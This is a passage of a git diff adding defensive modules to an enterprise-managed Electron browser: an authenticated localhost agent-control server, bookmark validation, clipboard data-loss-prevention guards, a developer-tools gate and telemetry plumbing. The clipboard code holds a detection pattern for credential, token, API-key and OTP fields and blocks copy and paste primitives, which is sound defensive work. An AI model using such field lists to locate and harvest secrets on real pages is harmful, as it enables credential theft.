s.title.slice(0, 256) } : {}), ...(typeof s.foreground === 'boolean' ? {foreground:s.foreground} : {}) })); + } + if (action === 'read' || action === 'ai') { + if (typeof result?.text !== 'string' || result.text.length > 65536) throw fail(502, 'Invalid text response'); + return { text: result.text }; + } + return { completed: result?.completed !== false }; +} + +async function startAgentControl({ authorize, actions, audit, credentialFile, persistCredential, onError, timeoutMs = 10000, maxRequestsPerMinute = 60 } = {}) { + if (typeof authorize !== 'function' || typeof audit !== 'function' || !actions) throw new TypeError('authorize, actions and audit are required'); + if (!Number.isInteger(timeoutMs) || timeoutMs < 10 || timeoutMs > 60000 || !Number.isInteger(maxRequestsPerMinute) || maxRequestsPerMinute < 1 || maxRequestsPerMinute > 1000) throw new TypeError('Invalid limits'); + const token = crypto.randomBytes(32).toString('base64url'); + const expected = Buffer.from(`Bearer ${token}`); + let enabled = true, windowStart = Date.now(), requests = 0; + const running = new Set(); + const server = http.createServer(async (req, res) => { + res.setHeader('Content-Type', 'application/json'); + res.setHeader('Cache-Control', 'no-store'); + res.setHeader('X-Content-Type-Options', 'nosniff'); + const reply = (status, data) => { if (!res.destroyed && !res.writableEnded) { res.writeHead(status); res.end(JSON.stringify(data)); } }; + const controller = new AbortController(); + let action, outcome = 'denied', timer; + try { + const supplied = Buffer.from(req.headers.authorization || ''); + if (!enabled || supplied.length !== expected.length || !crypto.timingSafeEqual(supplied, expected)) throw fail(401, 'Unauthorized'); + if (req.headers.origin || req.headers['sec-fetch-site'] || !/^127\.0\.0\.1:\d+$/.test(req.headers.host || '')) throw fail(403, 'Browser-origin requests forbidden'); + if (req.method !== 'POST' || req.url !== '/v1/actions') throw fail(404, 'Not found'); + if (!/^application\/json(?:\s*;|$)/i.test(req.headers['content-type'] || '')) throw fail(415, 'JSON required'); + if (Date.now() - windowStart >= 60000) { windowStart = Date.now(); requests = 0; } + if (++requests > maxRequestsPerMinute) throw fail(429, 'Rate limit exceeded'); + let size = 0, chunks = []; + for await (const chunk of req) { size += chunk.length; if (size > 32768) throw fail(413, 'Request too large'); chunks.push(chunk); } + let body; try { body = JSON.parse(Buffer.concat(chunks).toString('utf8')); } catch { throw fail(400, 'Invalid JSON'); } + const request = validate(body); action = request.action; + if (typeof actions[action] !== 'function') throw fail(403, 'Action unavailable'); + running.add(controller); + const operation = (async () => { + const grant = await authorize({ ...request, signal: controller.signal }); + if (!enabled || controller.signal.aborted || grant?.allowed !== true || !['agent', 'admin'].includes(grant.role) || !Array.isArray(grant.scopes) || !grant.scopes.includes(request.scope)) throw fail(403, 'Policy denied action'); + await audit({ action, scope: request.scope, sessionId: request.sessionId, outcome: 'authorized' }); + if (!enabled || controller.signal.aborted) throw fail(403, 'Agent access revoked'); + return project(action, await actions[action](request.args, { signal: controller.signal })); + })(); + const result = await Promise.race([operation, new Promise((_, reject) => { timer = setTimeout(() => { controller.abort(); reject(fail(504, 'Action timed out')); }, timeoutMs); })]); + if (!enabled || controller.signal.aborted) throw fail(403, 'Agent access revoked'); + outcome = 'completed'; + await audit({ action, outcome }); + reply(200, { result }); + } catch (error) { + // Diagnostics expose only known static reasons, never arbitrary adapter errors. + if (typeof onError === 'function') { + const reasons=['Document changed before action','Managed session unavailable','Unknown managed session','Session destination blocked','Agent scope denied','Agent destination denied','Managed session changed during action','Sensitive content cannot be returned','Inspection unavailable','Company policy blocks content access','Target is unavailable or sensitive','Target cannot receive text','Invalid text response','Policy denied action','Action timed out']; + const reason=reasons.find(value=>String(error.message).includes(value)) || 'unclassified-action-failure'; + try { await onError({action:action || 'agent-request',status:error.status || 500,reason}); } catch { /* Diagnostics cannot change enforcement. */ } + } + try { await audit({ action: action || 'agent-request', outcome, status: error.status || 500 }); } catch { /* Deny even if audit unavailable. */ } + reply(error.status || 500, { error: error.status ? error.message : 'Agent action failed' }); + } finally { clearTimeout(timer); running.delete(controller); } + }); + server.requestTimeout = 15000; server.headersTimeout = 10000; server.maxHeadersCount = 32; + await new Promise((resolve, reject) => { server.once('error', reject); server.listen(0, '127.0.0.1', resolve); }); + const address = `http://127.0.0.1:${server.address().port}`; + const revoke = () => { enabled = false; for (const c of running) c.abort(); }; + const close = async () => { revoke(); server.closeAllConnections(); await new Promise(resolve => server.close(resolve)); }; + try { + const credential = { address, token }; + if (persistCredential) await persistCredential(credential); + if (credentialFile) { + if (!path.isAbsolute(credentialFile)) throw new TypeError('Credential path must be absolute'); + await fs.writeFile(credentialFile, JSON.stringify(credential), { mode: 0o600, flag: 'wx' }); + } + } catch (error) { await close(); throw error; } + return { address, token, close, revoke }; +} +module.exports = { startAgentControl, SCOPES }; diff --git a/apps/browser/bookmarks.cjs b/apps/browser/bookmarks.cjs new file mode 100644 index 0000000..bccd065 --- /dev/null +++ b/apps/browser/bookmarks.cjs @@ -0,0 +1,25 @@ +const {requireSection}=require('./managed-settings.cjs'); +function libraryVisible(settings){return !!settings?.available&&!settings.hiddenSections.includes('library');} +function bookmarkState({policy,ready,settings}){ + const rules=policy?.browser?.bookmarks; + if(!ready||!libraryVisible(settings)||!rules)return {managed:[],personal:{revision:0,items:[]},allowUserAdd:false,allowUserEdit:false,allowUserDelete:false}; + const result=structuredClone(rules);if(!settings.visible||settings.lockedSections.includes('library'))result.allowUserAdd=result.allowUserEdit=result.allowUserDelete=false;return result; +} +function validateMutation(input,{policy,ready,settings,destinationAllowed,now=Date.now()}){ + if(!ready||!policy||Date.parse(policy.expiresAt)<=now)throw Error('Managed browser access is paused'); + requireSection(settings,'library'); + const rules=policy.browser.bookmarks; + if(!input||!['add','update','delete'].includes(input.action)||Object.keys(input).some(key=>!['action','bookmark','id','expectedRevision','policyVersion'].includes(key)))throw Error('Invalid bookmark operation'); + if(input.expectedRevision!==rules.personal.revision||input.policyVersion!==policy.version)throw Error('Bookmarks changed. Refresh before editing.'); + if(!rules[{add:'allowUserAdd',update:'allowUserEdit',delete:'allowUserDelete'}[input.action]])throw Error('Bookmark changes are controlled by your administrator'); + const id=input.action==='delete'?input.id:input.bookmark?.id; + if(typeof id!=='string'||!/^[A-Za-z0-9_-]{1,80}$/.test(id)||rules.managed.some(item=>item.id===id))throw Error('Company bookmarks cannot be changed'); + if(input.action==='add'&&rules.personal.items.some(item=>item.id===id)||input.action!=='add'&&!rules.personal.items.some(item=>item.id===id))throw Error('Bookmark identity is unavailable'); + if(input.action==='delete')return {action:input.action,id,expectedRevision:input.expectedRevision,policyVersion:input.policyVersion}; + const item=input.bookmark; + if(Object.keys(item).some(key=>!['id','title','url','folder'].includes(key))||typeof item.title!=='string'||!item.title.trim()||item.title.length>120||/[\u0000-\u001f\u007f]/.test(item.title)||typeof item.folder!=='string'||item.folder.length>80||/[\u0000-\u001f\u007f]/.test(item.folder)||typeof item.url!=='string'||item.url.length>2048)throw Error('Invalid bookmark details'); + let url;try{url=new URL(item.url);}catch{throw Error('Invalid bookmark URL');} + if(!['https:','http:'].includes(url.protocol)||url.username||url.password||url.search||url.hash||!destinationAllowed(url.href,policy))throw Error('Bookmark destination is not approved'); + return {action:input.action,bookmark:{id,title:item.title.trim(),url:url.href,folder:item.folder.trim()},expectedRevision:input.expectedRevision,policyVersion:input.policyVersion}; +} +module.exports={bookmarkState,validateMutation,libraryVisible}; diff --git a/apps/browser/clipboard-deny.cjs b/apps/browser/clipboard-deny.cjs new file mode 100644 index 0000000..d230d17 --- /dev/null +++ b/apps/browser/clipboard-deny.cjs @@ -0,0 +1,27 @@ +// Session frame preload: no page bridge, Node engine, filesystem API or clipboard payloads. +if(process.sandboxed!==true||process.contextIsolated!==true){require('electron').ipcRenderer.send('managed:clipboard-sandbox-failure');window.stop();throw Error('Managed renderer isolation is required');} +// Freeze the legacy command primitive in the page realm. Document.open() removes +// DOM listeners, but cannot replace this non-configurable prototype property. +try { + require('electron').contextBridge.executeInMainWorld({func:()=>{ + const prototype=Document.prototype,existing=Object.getOwnPropertyDescriptor(prototype,'execCommand'); + if(existing?.value?._managedClipboardGuard===true&&!existing.configurable)return; + const original=prototype.execCommand,apply=Reflect.apply,test=RegExp.prototype.test.bind(/^(copy|cut|paste)/i); + function managedClipboardCommand(command,...args){ + if(typeof command!=='string'||test(command))return false; + return apply(original,this,[command,...args]); + } + Object.defineProperty(managedClipboardCommand,'_managedClipboardGuard',{value:true}); + Object.defineProperty(prototype,'execCommand',{value:managedClipboardCommand,writable:false,configurable:false}); + // Replacement clears security listeners; these unsupported legacy APIs fail closed. + const SecurityException=DOMException; + const denyReplacement=()=>{throw new SecurityException('Managed document replacement is disabled','SecurityError');}; + for(const name of ['open','write','writeln'])Object.defineProperty(prototype,name,{value:denyReplacement,writable:false,configurable:false}); + }}); +} catch { + require('electron').ipcRenderer.send('managed:clipboard-sandbox-failure'); + window.stop(); + throw Error('Managed clipboard primitive could not be protected'); +} +for(const name of ['copy','cut','paste','dragstart','dragover','drop'])window.addEventListener(name,event=>{event.preventDefault();event.stopImmediatePropagation();},true); +window.addEventListener('beforeinput',event=>{if(/^(insertFromPaste|insertFromDrop|deleteByCut)/.test(event.inputType||'')){event.preventDefault();event.stopImmediatePropagation();}},true); diff --git a/apps/browser/clipboard-dom.cjs b/apps/browser/clipboard-dom.cjs new file mode 100644 index 0000000..a46e8de --- /dev/null +++ b/apps/browser/clipboard-dom.cjs @@ -0,0 +1,44 @@ +'use strict'; +function clipboardDOM(mode,url,token,operation,payload,limit){ + if(mode==='discard'){if(globalThis.__safetynetClipboardSnapshot?.token===token)delete globalThis.__safetynetClipboardSnapshot;return {completed:true};} + if(location.href!==url||window.top!==window)throw Error('Clipboard frame changed'); + const field=document.activeElement; + const editable=e=>e&&(e.tagName==='TEXTAREA'||e.tagName==='INPUT'&&/^(text|search|email|url|tel)$/i.test(e.type))&&!e.disabled&&!e.readOnly; + const sensitive=e=>{for(let p=e;p&&p!==document.body;p=p.parentElement)if(/password|passwd|secret|token|credential|api.?key|auth|one.?time|otp|master/i.test(['name','id','autocomplete','aria-label'].map(a=>p.getAttribute(a)||'').join(' ')))return true;return /^(password|file|hidden)$/i.test(e?.type||'');}; + const visible=e=>{if(!e||e.closest('[hidden],[aria-hidden="true"],[inert]'))return false;let p=e,count=0;while(p&&count++<64){const s=getComputedStyle(p);if(s.display==='none'||s.visibility==='hidden'||s.opacity==='0')return false;p=p.parentElement;}return !p&&e.getClientRects().length>0;}; + const rangeSafe=range=>{const ancestor=range.commonAncestorContainer.nodeType===1?range.commonAncestorContainer:range.commonAncestorContainer.parentElement;if(!ancestor?.isConnected||!visible(ancestor)||sensitive(ancestor)||ancestor.closest('input,textarea,[contenteditable],script,style,template,noscript')||ancestor.querySelector?.('input,textarea,[contenteditable]'))return false;const walker=document.createTreeWalker(ancestor,NodeFilter.SHOW_ELEMENT);let e,visited=0;while((e=walker.nextNode())){if(++visited>2048)return false;if(range.intersectsNode(e)&&(!visible(e)||sensitive(e)||/^(SCRIPT|STYLE|TEMPLATE|NOSCRIPT)$/.test(e.tagName)))return false;}return true;}; + if(mode==='stage'){ + const snapshot={token,operation,field};let text=''; + if(field&&(field.tagName==='INPUT'||field.tagName==='TEXTAREA'||field.isContentEditable)){ + if(!editable(field)||sensitive(field)||!visible(field))throw Error('Clipboard target denied'); + snapshot.kind='field';snapshot.value=field.value;if(snapshot.value.length>limit)throw Error('Clipboard target size limit');snapshot.start=field.selectionStart;snapshot.end=field.selectionEnd; + if(!Number.isInteger(snapshot.start)||!Number.isInteger(snapshot.end))throw Error('Clipboard selection unsupported'); + text=operation==='paste'?'':snapshot.value.slice(snapshot.start,snapshot.end); + }else{ + if(operation!=='copy')throw Error('Clipboard edit target unsupported'); + const selection=getSelection();if(!selection||selection.rangeCount!==1||selection.isCollapsed)throw Error('Clipboard selection unavailable'); + const range=selection.getRangeAt(0),ancestor=range.commonAncestorContainer.nodeType===1?range.commonAncestorContainer:range.commonAncestorContainer.parentElement; + if(!rangeSafe(range))throw Error('Clipboard rich selection unsupported'); + snapshot.kind='range';snapshot.range=range.cloneRange();text=range.toString(); + } + if(typeof text!=='string'||text.length>limit||text.includes('\0'))throw Error('Clipboard size limit'); + snapshot.text=text;globalThis.__safetynetClipboardSnapshot=snapshot;return {text}; + } + const snapshot=globalThis.__safetynetClipboardSnapshot;if(mode!=='validate')delete globalThis.__safetynetClipboardSnapshot; + if(!snapshot||snapshot.token!==token||snapshot.operation!==operation)throw Error('Clipboard snapshot unavailable'); + if(snapshot.kind==='field'){ + const e=snapshot.field;if(e!==document.activeElement||!e.isConnected||e.value!==snapshot.value||e.selectionStart!==snapshot.start||e.selectionEnd!==snapshot.end||!editable(e)||sensitive(e)||!visible(e))throw Error('Clipboard target changed'); + if(mode!=='validate'&&operation!=='copy'){ + const value=operation==='paste'?payload:'';if(typeof value!=='string'||value.length>limit)throw Error('Clipboard payload denied'); + e.setRangeText(value,snapshot.start,snapshot.end,'end');e.dispatchEvent(new Event('input',{bubbles:true})); + } + }else{ + const selection=getSelection(),range=selection?.rangeCount===1?selection.getRangeAt(0):null,original=snapshot.range; + if(!range||range.startContainer!==original.startContainer||range.endContainer!==original.endContainer||range.startOffset!==original.startOffset||range.endOffset!==original.endOffset||range.toString()!==snapshot.text)throw Error('Clipboard selection changed'); + const ancestor=range.commonAncestorContainer.nodeType===1?range.commonAncestorContainer:range.commonAncestorContainer.parentElement; + if(!rangeSafe(range))throw Error('Clipboard selection changed'); + } + return {completed:true}; +} +const clipboardScript=(mode,{url,token,operation,text='',limit})=>`(${clipboardDOM.toString()})(${JSON.stringify(mode)},${JSON.stringify(url)},${JSON.stringify(token)},${JSON.stringify(operation)},${JSON.stringify(text)},${JSON.stringify(limit)})`; +module.exports={clipboardScript}; diff --git a/apps/browser/clipboard-guard.cjs b/apps/browser/clipboard-guard.cjs new file mode 100644 index 0000000..a718739 --- /dev/null +++ b/apps/browser/clipboard-guard.cjs @@ -0,0 +1,43 @@ +'use strict'; +const {randomUUID}=require('node:crypto'); +function createClipboardGuard({getContext,stage,validate,commit,discard,readClipboard,writeClipboard,inspect,audit,timeoutMs=10000}){ + let pending=null; + const current=c=>{const n=getContext(c.webContents);return n.ready&&n.tabId===c.tabId&&n.activation===c.activation&&n.policy===c.policy&&n.url===c.url&&n.navigationId===c.navigationId&&n.webContents===c.webContents&&n.webContents?.focusedFrame===n.webContents?.mainFrame&&Date.parse(n.policy?.expiresAt)>Date.now();}; + async function run(operation,webContents){ + const c=getContext(webContents),token=randomUUID();let text='',timer,expired=false; + const denied=async ruleId=>{await audit('clipboard.block',ruleId);return{completed:false,ruleId};}; + const work=async()=>{try{ + if(!['copy','cut','paste'].includes(operation)||!current(c))return denied('clipboard-context-denied'); + const limit=Math.min(c.policy.security?.clipboard?.maxTextBytes||0,c.policy.dlp.maxBytes); + if(!limit)return denied('clipboard-policy-unavailable'); + const snapshot=await stage({operation,token,url:c.url,limit,webContents:c.webContents}); + if(!current(c)||expired)return denied('clipboard-context-changed'); + if(operation==='paste')text=await readClipboard(limit);else text=snapshot.text; + if(!current(c)||expired)return denied('clipboard-context-changed'); + if(typeof text!=='string'||Buffer.byteLength(text)>limit||text.includes('\0'))return denied('clipboard-size-limit'); + const verdict=await inspect(Buffer.from(text),c.policy,operation); + if(!current(c)||expired)return denied('clipboard-context-changed'); + if(verdict?.decision!=='allow')return denied(verdict?.ruleId||'clipboard-inspection-failed'); + // Persist authorization before side effects; never audit raw clipboard text. + await audit(`clipboard.${operation}`); + if(!current(c)||expired)return denied('clipboard-context-changed'); + const args={operation,token,url:c.url,text,limit,webContents:c.webContents}; + if(operation==='cut'){ + const validated=await validate(args); + if(validated?.completed!==true||!current(c)||expired)return denied('clipboard-target-changed'); + await writeClipboard(text); + if(!current(c)||expired)return denied('clipboard-context-changed'); + } + const result=await commit(args); + if(result?.completed!==true||!current(c)||expired)return denied('clipboard-target-changed'); + if(operation==='copy'){await writeClipboard(text);if(!current(c)||expired)return denied('clipboard-context-changed');} + return {completed:true}; + }finally{try{await discard?.({token,webContents:c.webContents});}catch{}}}; + try{return await Promise.race([work(),new Promise(resolve=>{timer=setTimeout(()=>{expired=true;Promise.resolve(discard?.({token,webContents:c.webContents})).catch(()=>{});denied('clipboard-timeout').then(resolve,()=>resolve({completed:false,ruleId:'clipboard-timeout'}));},timeoutMs);})]);} + catch{return denied('clipboard-inspection-failed');} + finally{clearTimeout(timer);text='';} + } + function perform(operation,webContents){if(pending)return Promise.resolve({completed:false,ruleId:'clipboard-busy'});const task=run(operation,webContents);pending=task;task.finally(()=>{if(pending===task)pending=null;}).catch(()=>{});return task;} + return {perform,isPending:()=>!!pending}; +} +module.exports={createClipboardGuard}; diff --git a/apps/browser/developer-tools.cjs b/apps/browser/developer-tools.cjs new file mode 100644 index 0000000..19c12b7 --- /dev/null +++ b/apps/browser/developer-tools.cjs @@ -0,0 +1,36 @@ +'use strict'; +function developerShortcut(input){return input?.type==='keyDown'&&(input.key==='F12'||((input.control||input.meta)&&input.shift&&!input.alt&&['i','j'].includes(String(input.key).toLowerCase())));} +function developerAssetRequestAllowed(details,{ready,policy,tabs}={}){ + if(!ready||policy?.browser?.allowDevTools!==true||Date.parse(policy.expiresAt)<=Date.now()||!Number.isSafeInteger(details?.webContentsId))return false; + let url;try{url=new URL(details.url);}catch{return false;} + if(url.protocol!=='devtools:'||url.hostname!=='devtools'||!url.pathname.startsWith('/bundled/')||url.username||url.password)return false; + return tabs?.some(tab=>{if(tab.view.webContents.isDestroyed())return false;const frontend=tab.security?.developerFrontend||tab.view.webContents.devToolsWebContents;return frontend&&!frontend.isDestroyed()&&frontend.id===details.webContentsId;})===true; +} +function createDeveloperToolsGuard({contents,getContext,isCurrent,audit,createFrontend}={}){ + if(!contents||[getContext,isCurrent,audit].some(fn=>typeof fn!=='function'))throw TypeError('Native developer-tools callbacks required'); + let opening=false,openedState=false,frontend; + const disposeFrontend=()=>{const previous=frontend;frontend=null;if(previous&&!previous.isDestroyed())previous.destroy();}; + const close=()=>{openedState=false;if(!contents.isDestroyed())contents.closeDevTools();disposeFrontend();}; + const allowed=context=>!!context?.ready&&context.foreground===true&&context.policy?.browser?.allowDevTools===true&&Date.parse(context.policy.expiresAt)>Date.now()&&/^https?:\/\//.test(context.url||'')&&!contents.isDestroyed(); + async function toggle(){ + if(contents.isDestroyed())return; + if(openedState||contents.isDevToolsOpened()){close();await audit('devtools.closed');return;} + const context=getContext(); + if(!allowed(context)||opening){await audit('devtools.denied');return;} + opening=true; + try{ + // Publication and activation changes across audit persistence invalidate this grant. + await audit('devtools.open-requested'); + if(!allowed(getContext())||!isCurrent(context)){await audit('devtools.denied');return;} + if(createFrontend){frontend=createFrontend();contents.setDevToolsWebContents(frontend.webContents);frontend.once('closed',()=>{if(!contents.isDestroyed()&&(openedState||contents.isDevToolsOpened()))contents.closeDevTools();});} + contents.openDevTools({mode:'detach',activate:true,title:'S Browser · Privileged developer tools'}); + }finally{opening=false;} + } + const opened=()=>{openedState=true;const context=getContext();if(!allowed(context))close();else {frontend?.show();Promise.resolve(audit('devtools.opened')).catch(close);}}; + const closed=()=>{openedState=false;disposeFrontend();}; + contents.on('devtools-opened',opened); + contents.on('devtools-closed',closed); + contents.once('destroyed',disposeFrontend); + return {handleInput:(event,input)=>{if(!developerShortcut(input))return false;event.preventDefault();toggle().catch(close);return true;},toggle,close,isOpened:()=>openedState,dispose:()=>{contents.removeListener('devtools-opened',opened);contents.removeListener('devtools-closed',closed);close();}}; +} +module.exports={createDeveloperToolsGuard,developerShortcut,developerAssetRequestAllowed}; diff --git a/apps/browser/diagnostics.cjs b/apps/browser/diagnostics.cjs new file mode 100644 index 0000000..17caebb --- /dev/null +++ b/apps/browser/diagnostics.cjs @@ -0,0 +1,56 @@ +'use strict'; +const {AsyncLocalStorage}=require('node:async_hooks'); +const {performance}=require('node:perf_hooks'); +const {randomInt}=require('node:crypto'); +const http=require('node:http'),https=require('node:https'); +const {TracerProvider,BatchSpanProcessor,TraceIdRatioBasedSampler,ParentBasedSampler}=require('@opentelemetry/sdk-trace'); +const {LoggerProvider,BatchLogRecordProcessor}=require('@opentelemetry/sdk-logs'); +const {resourceFromAttributes}=require('@opentelemetry/resources'); +const {OTLPTraceExporter}=require('@opentelemetry/exporter-trace-otlp-http'); +const {OTLPLogExporter}=require('@opentelemetry/exporter-logs-otlp-http'); +const {trace,ROOT_CONTEXT,SpanStatusCode}=require('@opentelemetry/api'); +const names=new Set(['browser.network','browser.ipc','browser.agent','browser.management','browser.navigation','browser.dns','browser.request','browser.inspect.local','browser.inspect.enterprise','browser.download','browser.clipboard','browser.visual','browser.password.fill','browser.ai','browser.policy','browser.startup','browser.parser','browser.semantic','browser.yara','browser.icap','browser.tab','browser.security']); +const operations=new Set(['application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group','state','authorize-setting','settings-update','window-control','chrome-layout','share-url','bookmarks-mutate','enroll','sso','navigate','back','forward','reload','ai','inspect-file','agent-connection','ai-panel','vault-panel','vault-status','vault-create','vault-unlock','vault-lock','vault-list','vault-save','vault-delete','vault-fill','vault-generate','tab-create','tab-activate','tab-close','tab-group','sessions','read','click','type','screenshot','copy','cut','paste','scan','download','sync','create','activate','close','group','policy','request','dns','parse','embed','yara','icap']); +const components=new Set(['browser','ipc','agent','management','navigation','network','dns','dlp','inspector','parser','semantic','yara','icap','download','clipboard','visual','vault','ai','policy','tabs']); +const decisions=new Set(['allow','block','deny','unknown']),statuses=new Set(['ok','error','cancelled','timeout']); +const requestTypes=new Set(['mainFrame','subFrame','stylesheet','script','image','font','object','xhr','ping','cspReport','media','webSocket','other']); +const uuid=/^[a-f0-9]{8}-[a-f0-9]{4}-[1-5][a-f0-9]{3}-[89ab][a-f0-9]{3}-[a-f0-9]{12}$/i; +function attributes(input){const out={};if(!input||typeof input!=='object')return out;for(const [key,descriptor]of Object.entries(Object.getOwnPropertyDescriptors(input))){if(!('value'in descriptor))continue;const value=descriptor.value; + if(['sessionId','deviceId'].includes(key)&&typeof value==='string'&&uuid.test(value))out[key==='sessionId'?'safetynet.session.id':'safetynet.device.id']=value; + else if(['policyVersion','bytes','count'].includes(key)&&Number.isSafeInteger(value)&&value>=0)out[key==='policyVersion'?'safetynet.policy.version':`safetynet.${key}`]=value; + else if(key==='durationMs'&&Number.isFinite(value)&&value>=0&&value<=86400000)out['safetynet.duration.ms']=value; + else if(key==='operation'&&operations.has(value))out['safetynet.operation']=value; + else if(key==='component'&&components.has(value))out['safetynet.component']=value; + else if(key==='decision'&&decisions.has(value))out['dlp.decision']=value; + else if(key==='status'&&statuses.has(value))out['safetynet.status']=value; + else if(key==='requestType'&&requestTypes.has(value))out['safetynet.request.type']=value; + }return out;} +function endpointAllowed(value){try{const u=new URL(value);if(u.username||u.password||u.search||u.hash)return false;const host=u.hostname.replace(/^\[|\]$/g,'');return u.protocol==='https:'||(u.protocol==='http:'&&(host==='::1'||/^127\.(?:\d{1,3}\.){2}\d{1,3}$/.test(host)&&host.split('.').every(p=>+p<=255)));}catch{return false;}} +function valid(config){return config&&config.enabled===true&&['operational','debug'].includes(config.mode)&&endpointAllowed(config.endpoint)&&['sampleRate','debugSampleRate'].every(k=>Number.isFinite(config[k])&&config[k]>=0&&config[k]<=1)&&Number.isSafeInteger(config.maxQueueSize)&&config.maxQueueSize>=16&&config.maxQueueSize<=4096&&Number.isSafeInteger(config.flushIntervalMs)&&config.flushIntervalMs>=250&&config.flushIntervalMs<=10000&&Number.isSafeInteger(config.maxRecordAgeMs)&&config.maxRecordAgeMs>=1000&&config.maxRecordAgeMs<=300000&&Number.isSafeInteger(config.exportTimeoutMs)&&config.exportTimeoutMs>=250&&config.exportTimeoutMs<=10000;} +const defaults={enabled:false,mode:'operational',sampleRate:0.1,debugSampleRate:1,maxQueueSize:512,flushIntervalMs:2000,maxRecordAgeMs:30000,exportTimeoutMs:2000}; +function createDiagnostics(){const storage=new AsyncLocalStorage();let generation=null,configurationKey='',closed=false;const retiring=new Set();let activeSpans=0; + function retire(current){if(!current)return;current.active=false;for(const agent of current.agents)agent.destroy();const pending=Promise.allSettled([current.tracerProvider?.shutdown(),current.loggerProvider?.shutdown()]);retiring.add(pending);pending.finally(()=>retiring.delete(pending));} + function gatedExporter(exporter,current){return {export(records,callback){if(!current.active){callback({code:0});return;}const now=Date.now(),fresh=records.filter(record=>{const timestamp=record.endTime||record.hrTime||record.hrTimeObserved;return timestamp&&now-(timestamp[0]*1000+timestamp[1]/1e6)<=current.config.maxRecordAgeMs;});if(!fresh.length){callback({code:0});return;}try{exporter.export(fresh,result=>{if(result.code!==0)current.failedExports++;callback(result);});}catch{current.failedExports++;callback({code:1});}},shutdown:()=>exporter.shutdown(),forceFlush:()=>exporter.forceFlush?.()||Promise.resolve()};} + function configure(input={},context={}){if(closed)return false;const config={...defaults,...input};const key=JSON.stringify([config,attributes(context)]);if(key===configurationKey)return !!generation?.active;configurationKey=key;const previous=generation;generation=null;retire(previous);if(!valid(config)||retiring.size>=4)return false; + let current;try{current={active:true,config,context:attributes(context),agents:new Set(),failedExports:0}; + const agentFactory=async protocol=>{const Base=protocol==='https:'?https.Agent:http.Agent;class PrivateAgent extends Base{addRequest(request,options){if(!current.active){request.destroy(Error('Diagnostics disabled'));return;}for(const key of request.getHeaderNames())if(!['host','content-type','content-length','user-agent'].includes(key.toLowerCase()))request.removeHeader(key);super.addRequest(request,options);}} + const agent=new PrivateAgent({keepAlive:false,maxSockets:1,rejectUnauthorized:true});current.agents.add(agent);return agent;}; + const base=config.endpoint.replace(/\/$/,'');const exporterConfig=path=>({url:base+path,headers:{},timeoutMillis:config.exportTimeoutMs,concurrencyLimit:1,compression:'none',httpAgentOptions:agentFactory}); + const resource=resourceFromAttributes({'service.name':'safetynet-browser','service.version':'0.1.0','safetynet.diagnostics.mode':config.mode}); + const limits={maxQueueSize:config.maxQueueSize,maxExportBatchSize:Math.min(config.maxQueueSize,128),scheduledDelayMillis:config.flushIntervalMs,exportTimeoutMillis:config.exportTimeoutMs}; + current.tracerProvider=new TracerProvider({resource,sampler:new ParentBasedSampler({root:new TraceIdRatioBasedSampler(config.mode==='debug'?config.debugSampleRate:config.sampleRate)}),spanLimits:{attributeCountLimit:20,attributeValueLengthLimit:64,eventCountLimit:0,linkCountLimit:0},spanProcessors:[new BatchSpanProcessor({...limits,exporter:gatedExporter(new OTLPTraceExporter(exporterConfig('/v1/traces')),current)})]}); + current.loggerProvider=new LoggerProvider({resource,logRecordLimits:{attributeCountLimit:20,attributeValueLengthLimit:64},processors:[new BatchLogRecordProcessor({...limits,exporter:gatedExporter(new OTLPLogExporter(exporterConfig('/v1/logs')),current)})]});current.tracer=current.tracerProvider.getTracer('safetynet.browser','0.1.0');current.logger=current.loggerProvider.getLogger('safetynet.browser','0.1.0');generation=current;return true; + }catch{generation=null;retire(current);return false;} + } + function event(name,input={}){const current=generation;if(!current?.active||!names.has(name))return;try{const parent=storage.getStore(),rate=current.config.mode==='debug'?current.config.debugSampleRate:current.config.sampleRate;if(parent?.generation===current){if(!parent.span.isRecording())return;}else if(randomInt(1000000)>=Math.floor(rate*1000000))return; + current.logger.emit({severityNumber:9,severityText:'INFO',body:name,attributes:{...current.context,...attributes(input)},...(parent?.generation===current?{context:trace.setSpan(ROOT_CONTEXT,parent.span)}:{})}); + }catch{} + } + async function span(name,input,fn){if(typeof fn!=='function')throw TypeError('Diagnostics operation requires a function');const current=generation;if(!current?.active||!names.has(name)||activeSpans>=128)return fn();let nativeSpan;try{const parent=storage.getStore(),context=parent?.generation===current?trace.setSpan(ROOT_CONTEXT,parent.span):ROOT_CONTEXT;nativeSpan=current.tracer.startSpan(name,{attributes:{...current.context,...attributes(input)}},context);}catch{return fn();} + activeSpans++;const started=performance.now();let status='ok';try{const result=await storage.run({generation:current,span:nativeSpan},fn);try{nativeSpan.setStatus({code:SpanStatusCode.OK});}catch{}return result;}catch(error){status='error';try{nativeSpan.setStatus({code:SpanStatusCode.ERROR});nativeSpan.setAttribute('error.type',error instanceof TypeError?'TypeError':error instanceof RangeError?'RangeError':'Error');}catch{}throw error;}finally{activeSpans--;try{const sampled=nativeSpan.isRecording();nativeSpan.setAttribute('safetynet.status',status);nativeSpan.setAttribute('safetynet.duration.ms',Math.max(0,performance.now()-started));nativeSpan.end();if(current.active&&sampled)current.logger.emit({severityNumber:9,severityText:'INFO',body:name,attributes:{...current.context,...attributes(input),'safetynet.status':status,'safetynet.duration.ms':Math.max(0,performance.now()-started)},context:trace.setSpan(ROOT_CONTEXT,nativeSpan)});}catch{}} + } + async function flush(){const current=generation;if(!current?.active)return;await Promise.allSettled([current.tracerProvider.forceFlush({timeoutMillis:current.config.exportTimeoutMs}),current.loggerProvider.forceFlush({timeoutMillis:current.config.exportTimeoutMs})]);} + async function shutdown(){if(closed)return;await flush();closed=true;const current=generation;generation=null;retire(current);await Promise.allSettled([...retiring]);} + return {configure,span,event,flush,shutdown,correlation:()=>{const parent=storage.getStore();if(!parent||parent.generation!==generation||!generation?.active||!parent.span.isRecording())return {};const ids=parent.span.spanContext();return {traceId:ids.traceId,spanId:ids.spanId};},status:()=>({enabled:!!generation?.active,mode:generation?.config.mode||'operational',failedExports:generation?.failedExports||0,activeSpans})}; +} +module.exports={createDiagnostics,attributes,endpointAllowed}; diff --git a/apps/browser/download-gate.cjs b/apps/browser/download-gate.cjs new file mode 100644 index 0000000..44efb2b --- /dev/null +++ b/apps/browser/download-gate.cjs @@ -0,0 +1,45 @@ +'use strict'; +const {safeFilename:filename,inspectFileTransfer}=require('../../packages/core/file-transfer.cjs'); +const {createHash}=require('node:crypto'); +function createDownloadGate({getContext,isCurrent,fetchResponse,scan,choosePath,writeFile,audit,status}){ + let busy=false; + return async function download({url,name,method,webContentsId}){ + const 